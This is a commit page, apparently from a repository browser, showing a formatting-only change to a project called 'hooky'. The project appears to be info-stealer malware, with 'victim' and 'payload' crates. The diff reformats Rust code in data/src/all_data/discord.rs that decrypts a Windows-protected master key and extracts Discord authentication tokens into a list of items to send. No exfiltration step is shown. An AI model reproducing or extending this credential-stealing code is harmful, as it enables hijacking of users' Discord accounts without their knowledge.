~/hooky

4942cfff3836cdeec8d57bb3c446b52e7b2e788a — Arthur Melton df6fb4e9 2 years ago
format all code
3 files changed, 11 insertions(+), 7 deletions(-)

M check_all.sh
M data/src/all_data/discord.rs
M victim/src/payload.rs
M check_all.sh => check_all.sh +5 -0
@@ 10,12 10,17 @@ do

done

cd command
cargo fmt
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd src-tauri
cargo fmt
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../../config
cargo fmt
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../data
cargo fmt
cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})
cd ../victim
cargo fmt
payload="../build.rs" cargo clippy --all-features $(printf -- "--target %s " ${runs[@]})

M data/src/all_data/discord.rs => data/src/all_data/discord.rs +5 -6
@@ 57,11 57,9 @@ impl Sends {

                                0,
                                &mut data_out,
                            );
                            master_key = slice::from_raw_parts(
                                data_out.pbData,
                                data_out.cbData as usize,
                            )
                            .to_vec();
                            master_key =
                                slice::from_raw_parts(data_out.pbData, data_out.cbData as usize)
                                    .to_vec();
                            LocalFree(data_out.pbData as *mut c_void);
                        }
                        let iv = &asm.clone()[3..15];

@@ 70,7 68,8 @@ impl Sends {

                        let decrypted = cipher.encrypt(Nonce::from_slice(iv), payload);
                        let token = decrypted.ok()?;
                        let token = token.split(|y| *y == 249).collect::<Vec<_>>()[0];
                        self.discord_token.push(String::from_utf8(token.to_vec()).ok()?);
                        self.discord_token
                            .push(String::from_utf8(token.to_vec()).ok()?);
                    }
                }
            }

M victim/src/payload.rs => victim/src/payload.rs +1 -1
@@ 1,6 1,6 @@

use std::io::Write;
use std::process::Command;
    

#[cfg(not(target_os = "windows"))]
use tempfile::NamedTempFile;